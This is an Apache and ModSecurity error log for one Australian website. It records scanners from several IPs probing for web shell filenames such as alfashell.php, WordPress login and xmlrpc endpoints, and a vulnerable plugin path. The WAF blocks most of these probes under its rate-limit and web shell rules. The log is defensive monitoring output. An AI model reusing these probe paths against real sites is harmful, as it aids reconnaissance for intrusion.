[Sun Apr 19 05:43:08.121411 2026] [:error] [pid 15694:tid 15725] [client 172.213.136.193:21143] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bs1.php"] [unique_id "aeP67LimB-jol1fwqAq70wAAAYI"]
[Sun Apr 19 05:43:09.877944 2026] [:error] [pid 15760:tid 15779] [client 172.213.136.193:40824] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bs1.php"] [unique_id "aeP67fSdD_XHQMJ_ISsZowAAAcs"]
[Sun Apr 19 05:43:11.171016 2026] [:error] [pid 47886:tid 47892] [client 172.213.136.193:17837] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bs1.php"] [unique_id "aeP670Se8yiyuPrD7yPtiwAAAMQ"]
[Sun Apr 19 05:43:12.199591 2026] [:error] [pid 47775:tid 47861] [client 172.213.136.193:5188] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bs1.php"] [unique_id "aeP68Lmztjlk9tsmoexzBQAAAJI"]
[Sun Apr 19 05:43:12.912803 2026] [:error] [pid 47772:tid 47792] [client 172.213.136.193:27040] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeP68Ic0L16cb4smAz-hOQAAAAM"]
[Sun Apr 19 05:43:13.687967 2026] [:error] [pid 47772:tid 47797] [client 172.213.136.193:27024] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeP68Yc0L16cb4smAz-hOgAAAAg"]
[Sun Apr 19 05:43:14.330832 2026] [:error] [pid 15760:tid 15791] [client 172.213.136.193:21183] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeP68vSdD_XHQMJ_ISsZpwAAAdc"]
[Sun Apr 19 05:43:15.136370 2026] [:error] [pid 15765:tid 15856] [client 172.213.136.193:38373] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeP68_Rqinw-W5EwQ76ESwAAAoM"]
[Sun Apr 19 05:43:15.983941 2026] [:error] [pid 47775:tid 47845] [client 172.213.136.193:40135] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/axx.php"] [unique_id "aeP687mztjlk9tsmoexzBwAAAII"]
[Sun Apr 19 05:43:16.726721 2026] [:error] [pid 47775:tid 47850] [client 172.213.136.193:17846] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/axx.php"] [unique_id "aeP69Lmztjlk9tsmoexzCQAAAIc"]
[Sun Apr 19 05:43:17.332875 2026] [:error] [pid 47886:tid 47888] [client 172.213.136.193:26155] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/axx.php"] [unique_id "aeP69USe8yiyuPrD7yPtjQAAAMA"]
[Sun Apr 19 05:43:18.216834 2026] [:error] [pid 15764:tid 15848] [client 172.213.136.193:17820] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/axx.php"] [unique_id "aeP69mLL_sqdSHoVp-TsQgAAAlY"]
[Sun Apr 19 05:43:19.090863 2026] [:error] [pid 15764:tid 15836] [client 172.213.136.193:21148] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alfashell.php"] [unique_id "aeP692LL_sqdSHoVp-TsQwAAAko"]
[Sun Apr 19 05:43:20.100202 2026] [:error] [pid 15764:tid 15841] [client 172.213.136.193:27042] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alfashell.php"] [unique_id "aeP6-GLL_sqdSHoVp-TsRAAAAk8"]
[Sun Apr 19 05:43:21.031038 2026] [:error] [pid 47773:tid 47817] [client 172.213.136.193:38346] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alfashell.php"] [unique_id "aeP6-eiBHdnCJDuPq9BWnQAAAEE"]
[Sun Apr 19 05:43:22.047582 2026] [:error] [pid 47886:tid 47890] [client 172.213.136.193:17817] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alfashell.php"] [unique_id "aeP6-kSe8yiyuPrD7yPtnQAAAMI"]
[Sun Apr 19 05:43:22.774488 2026] [:error] [pid 15694:tid 15733] [client 172.213.136.193:17850] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gettest.php"] [unique_id "aeP6-rimB-jol1fwqAq74QAAAYc"]
[Sun Apr 19 05:43:23.489325 2026] [:error] [pid 15764:tid 15827] [client 172.213.136.193:40777] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gettest.php"] [unique_id "aeP6-2LL_sqdSHoVp-TsSwAAAkE"]
[Sun Apr 19 05:43:24.311819 2026] [:error] [pid 15764:tid 15842] [client 172.213.136.193:32550] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gettest.php"] [unique_id "aeP6_GLL_sqdSHoVp-TsTgAAAlA"]
[Sun Apr 19 05:43:25.309875 2026] [:error] [pid 15694:tid 15746] [client 172.213.136.193:5192] File does not exist: /usr/local/apache/htdocs/suspended-page/gettest.php
[Sun Apr 19 05:43:25.554839 2026] [:error] [pid 15694:tid 15737] [client 172.213.136.193:5192] File does not exist: /usr/local/apache/htdocs/suspended-page/acp.php
[Sun Apr 19 05:43:25.802031 2026] [:error] [pid 15694:tid 15739] [client 172.213.136.193:5192] File does not exist: /usr/local/apache/htdocs/suspended-page/file48.php
[Sun Apr 19 05:43:26.074179 2026] [:error] [pid 15694:tid 15748] [client 172.213.136.193:5192] File does not exist: /usr/local/apache/htdocs/suspended-page/g.php
[Sun Apr 19 05:43:26.574937 2026] [:error] [pid 15694:tid 15744] [client 172.213.136.193:5192] File does not exist: /usr/local/apache/htdocs/suspended-page/simple.php
[Sun Apr 19 05:43:26.859212 2026] [:error] [pid 15694:tid 15735] [client 172.213.136.193:5192] File does not exist: /usr/local/apache/htdocs/suspended-page/ew.php
[Sun Apr 19 05:43:27.096078 2026] [:error] [pid 15694:tid 15747] [client 172.213.136.193:5192] File does not exist: /usr/local/apache/htdocs/suspended-page/file21.php
[Sun Apr 19 05:43:27.335630 2026] [:error] [pid 15694:tid 15734] [client 172.213.136.193:5192] File does not exist: /usr/local/apache/htdocs/suspended-page/hypo.php
[Sun Apr 19 05:43:27.592685 2026] [:error] [pid 15694:tid 15723] [client 172.213.136.193:5192] File does not exist: /usr/local/apache/htdocs/suspended-page/file18.php
[Sun Apr 19 05:43:27.829245 2026] [:error] [pid 15694:tid 15740] [client 172.213.136.193:5192] File does not exist: /usr/local/apache/htdocs/suspended-page/xwx1.php
[Sun Apr 19 05:43:28.063455 2026] [:error] [pid 15694:tid 15741] [client 172.213.136.193:5192] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jp.php"] [unique_id "aeP7ALimB-jol1fwqAq78AAAAY8"]
[Sun Apr 19 05:43:28.677331 2026] [:error] [pid 47773:tid 47819] [client 172.213.136.193:40798] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jp.php"] [unique_id "aeP7AOiBHdnCJDuPq9BWpAAAAEM"]
[Sun Apr 19 05:43:29.324514 2026] [:error] [pid 47775:tid 47859] [client 172.213.136.193:38360] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jp.php"] [unique_id "aeP7Abmztjlk9tsmoexzHAAAAJA"]
[Sun Apr 19 05:43:29.922590 2026] [:error] [pid 47775:tid 47858] [client 172.213.136.193:38398] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jp.php"] [unique_id "aeP7Abmztjlk9tsmoexzIQAAAI8"]
[Sun Apr 19 05:43:31.136694 2026] [:error] [pid 47886:tid 47894] [client 172.213.136.193:31957] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "aeP7A0Se8yiyuPrD7yPtpwAAAMY"]
[Sun Apr 19 05:43:32.227406 2026] [:error] [pid 47775:tid 47849] [client 172.213.136.193:32536] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "aeP7BLmztjlk9tsmoexzJgAAAIY"]
[Sun Apr 19 05:43:32.867772 2026] [:error] [pid 47886:tid 47905] [client 172.213.136.193:17844] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "aeP7BESe8yiyuPrD7yPtrQAAANE"]
[Sun Apr 19 05:43:33.710993 2026] [:error] [pid 15763:tid 15800] [client 172.213.136.193:40780] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "aeP7BbMXv1Y1THOoxaAkMwAAAgQ"]
[Sun Apr 19 07:33:58.667540 2026] [:error] [pid 15765:tid 15866] [client 135.119.27.9:14822] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Sun Apr 19 07:33:58.858113 2026] [:error] [pid 15765:tid 15858] [client 135.119.27.9:14822] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Sun Apr 19 07:33:59.082960 2026] [:error] [pid 15765:tid 15859] [client 135.119.27.9:14822] File does not exist: /usr/local/apache/htdocs/suspended-page/file.php
[Sun Apr 19 07:33:59.277336 2026] [:error] [pid 15765:tid 15855] [client 135.119.27.9:14822] File does not exist: /usr/local/apache/htdocs/suspended-page/goods.php
[Sun Apr 19 07:33:59.467758 2026] [:error] [pid 15765:tid 15860] [client 135.119.27.9:14822] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-edit.php
[Sun Apr 19 07:33:59.657629 2026] [:error] [pid 15765:tid 15865] [client 135.119.27.9:14822] File does not exist: /usr/local/apache/htdocs/suspended-page/simple.php
[Sun Apr 19 07:33:59.866122 2026] [:error] [pid 15765:tid 15853] [client 135.119.27.9:14822] File does not exist: /usr/local/apache/htdocs/suspended-page/bgymj.php
[Sun Apr 19 07:34:00.299832 2026] [:error] [pid 15765:tid 15875] [client 135.119.27.9:14822] File does not exist: /usr/local/apache/htdocs/suspended-page/404.php
[Sun Apr 19 07:34:00.490576 2026] [:error] [pid 15765:tid 15869] [client 135.119.27.9:14822] File does not exist: /usr/local/apache/htdocs/suspended-page/file3.php
[Sun Apr 19 07:34:00.702921 2026] [:error] [pid 15765:tid 15862] [client 135.119.27.9:14822] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-mail.php
[Sun Apr 19 07:34:02.206231 2026] [:error] [pid 15765:tid 15862] [client 135.119.27.9:14822] [client 135.119.27.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "aeQU6vRqinw-W5EwQ76bggAAAok"]
[Sun Apr 19 07:34:06.266308 2026] [:error] [pid 15764:tid 15836] [client 135.119.27.9:14792] [client 135.119.27.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "aeQU7mLL_sqdSHoVp-QBGwAAAko"]
[Sun Apr 19 07:34:08.080898 2026] [:error] [pid 15764:tid 15845] [client 135.119.27.9:14840] [client 135.119.27.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "aeQU8GLL_sqdSHoVp-QBJgAAAlM"]
[Sun Apr 19 07:34:09.469272 2026] [:error] [pid 47773:tid 47822] [client 135.119.27.9:14817] [client 135.119.27.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "aeQU8eiBHdnCJDuPq9CSZQAAAEY"]
[Sun Apr 19 18:32:55.007767 2026] [:error] [pid 15765:tid 15861] [client 107.174.169.56:50884] [client 107.174.169.56] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 107.174.169.56, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aeSvV_Rqinw-W5EwQ77lxwAAAog"], referer: https://www.google.com/
[Sun Apr 19 18:32:55.012012 2026] [:error] [pid 15765:tid 15861] [client 107.174.169.56:50884] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php, referer: https://www.google.com/
[Sun Apr 19 18:32:56.464420 2026] [:error] [pid 47772:tid 47802] [client 107.174.169.56:40371] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-cron.php, referer: https://www.google.com/
[Sun Apr 19 19:13:50.215488 2026] [:error] [pid 47775:tid 47862] [client 213.35.109.170:58710] [client 213.35.109.170] ModSecurity: Access denied with code 403 (phase 2). Found 1 byte(s) in ARGS:auth outside range: 1-255. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "95"] [id "210410"] [rev "4"] [msg "COMODO WAF: Invalid character in request||windfarmcoolants.com.au|F|3"] [data "ARGS:auth=\\x00"] [severity "ERROR"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/wp-automatic/inc/csv.php"] [unique_id "aeS47rmztjlk9tsmoewABAAAAJM"]
[Sun Apr 19 21:46:48.394438 2026] [:error] [pid 15765:tid 15871] [client 109.158.77.104:58219] [client 109.158.77.104] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.158.77.104, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "aeTcyPRqinw-W5EwQ77-rgAAApI"]
[Sun Apr 19 21:46:48.399144 2026] [:error] [pid 15765:tid 15871] [client 109.158.77.104:58219] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Sun Apr 19 21:59:15.946074 2026] [:error] [pid 15764:tid 15850] [client 34.46.243.112:64016] [client 34.46.243.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aeTfs2LL_sqdSHoVp-QmawAAAlc"]
[Sun Apr 19 21:59:16.392041 2026] [:error] [pid 15760:tid 15777] [client 34.46.243.112:61510] [client 34.46.243.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "aeTftPSdD_XHQMJ_IStE7gAAAck"]
[Sun Apr 19 22:23:53.137342 2026] [:error] [pid 47772:tid 47807] [client 20.166.83.47:28723] File does not exist: /usr/local/apache/htdocs/suspended-page/ws80.php
[Sun Apr 19 22:23:53.418994 2026] [:error] [pid 47772:tid 47810] [client 20.166.83.47:28723] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Sun Apr 19 22:23:53.711484 2026] [:error] [pid 47772:tid 47797] [client 20.166.83.47:28723] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php
[Sun Apr 19 22:23:54.010938 2026] [:error] [pid 47772:tid 47806] [client 20.166.83.47:28723] File does not exist: /usr/local/apache/htdocs/suspended-page/8.php
[Sun Apr 19 22:23:54.306405 2026] [:error] [pid 47772:tid 47789] [client 20.166.83.47:28723] File does not exist: /usr/local/apache/htdocs/suspended-page/jga.php
[Sun Apr 19 22:23:54.889654 2026] [:error] [pid 47772:tid 47808] [client 20.166.83.47:28723] File does not exist: /usr/local/apache/htdocs/suspended-page/an.php
[Sun Apr 19 22:23:56.346285 2026] [:error] [pid 47772:tid 47808] [client 20.166.83.47:28723] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-blog-header.php
[Sun Apr 19 22:23:56.616346 2026] [:error] [pid 47772:tid 47812] [client 20.166.83.47:28723] File does not exist: /usr/local/apache/htdocs/suspended-page/1.php
[Sun Apr 19 22:23:56.915543 2026] [:error] [pid 47772:tid 47792] [client 20.166.83.47:28723] File does not exist: /usr/local/apache/htdocs/suspended-page/admlo.php
[Sun Apr 19 22:23:57.185266 2026] [:error] [pid 47772:tid 47807] [client 20.166.83.47:28723] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/t.php"] [unique_id "aeTlfYc0L16cb4smAz_RfAAAABI"]
[Sun Apr 19 22:24:00.674931 2026] [:error] [pid 47773:tid 47828] [client 20.166.83.47:28722] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/t.php"] [unique_id "aeTlgOiBHdnCJDuPq9BQiAAAAEw"]
[Sun Apr 19 22:24:07.041400 2026] [:error] [pid 15764:tid 15834] [client 20.166.83.47:47110] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/t.php"] [unique_id "aeTlh2LL_sqdSHoVp-QvawAAAkg"]
[Sun Apr 19 22:24:10.678825 2026] [:error] [pid 15764:tid 15828] [client 20.166.83.47:44811] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/t.php"] [unique_id "aeTlimLL_sqdSHoVp-QvegAAAkI"]
[Sun Apr 19 22:24:38.832142 2026] [:error] [pid 47772:tid 47795] [client 20.166.83.47:43799] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kj.php"] [unique_id "aeTlpoc0L16cb4smAz_RrQAAAAY"]
[Sun Apr 19 22:24:55.958912 2026] [:error] [pid 47772:tid 47796] [client 20.166.83.47:41526] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new.php"] [unique_id "aeTlt4c0L16cb4smAz_R0AAAAAc"]
[Sun Apr 19 22:24:57.520723 2026] [:error] [pid 15764:tid 15827] [client 20.166.83.47:45935] File does not exist: /usr/local/apache/htdocs/suspended-page/new.php
[Sun Apr 19 22:24:57.805803 2026] [:error] [pid 15764:tid 15839] [client 20.166.83.47:45935] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
[Sun Apr 19 22:24:58.095004 2026] [:error] [pid 15764:tid 15837] [client 20.166.83.47:45935] File does not exist: /usr/local/apache/htdocs/suspended-page/gettest.php
[Sun Apr 19 22:24:58.396016 2026] [:error] [pid 15764:tid 15843] [client 20.166.83.47:45935] File does not exist: /usr/local/apache/htdocs/suspended-page/666.php
[Sun Apr 19 22:24:58.708575 2026] [:error] [pid 15764:tid 15851] [client 20.166.83.47:45935] File does not exist: /usr/local/apache/htdocs/suspended-page/tool.php
[Sun Apr 19 22:24:58.992815 2026] [:error] [pid 15764:tid 15850] [client 20.166.83.47:45935] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-blogs.php
[Sun Apr 19 22:24:59.277051 2026] [:error] [pid 15764:tid 15844] [client 20.166.83.47:45935] File does not exist: /usr/local/apache/htdocs/suspended-page/bgymj.php
[Sun Apr 19 22:24:59.562176 2026] [:error] [pid 15764:tid 15832] [client 20.166.83.47:45935] File does not exist: /usr/local/apache/htdocs/suspended-page/mini.php
[Sun Apr 19 22:24:59.852453 2026] [:error] [pid 15764:tid 15847] [client 20.166.83.47:45935] File does not exist: /usr/local/apache/htdocs/suspended-page/amax.php
[Sun Apr 19 22:25:00.137762 2026] [:error] [pid 15764:tid 15840] [client 20.166.83.47:45935] File does not exist: /usr/local/apache/htdocs/suspended-page/mh.php
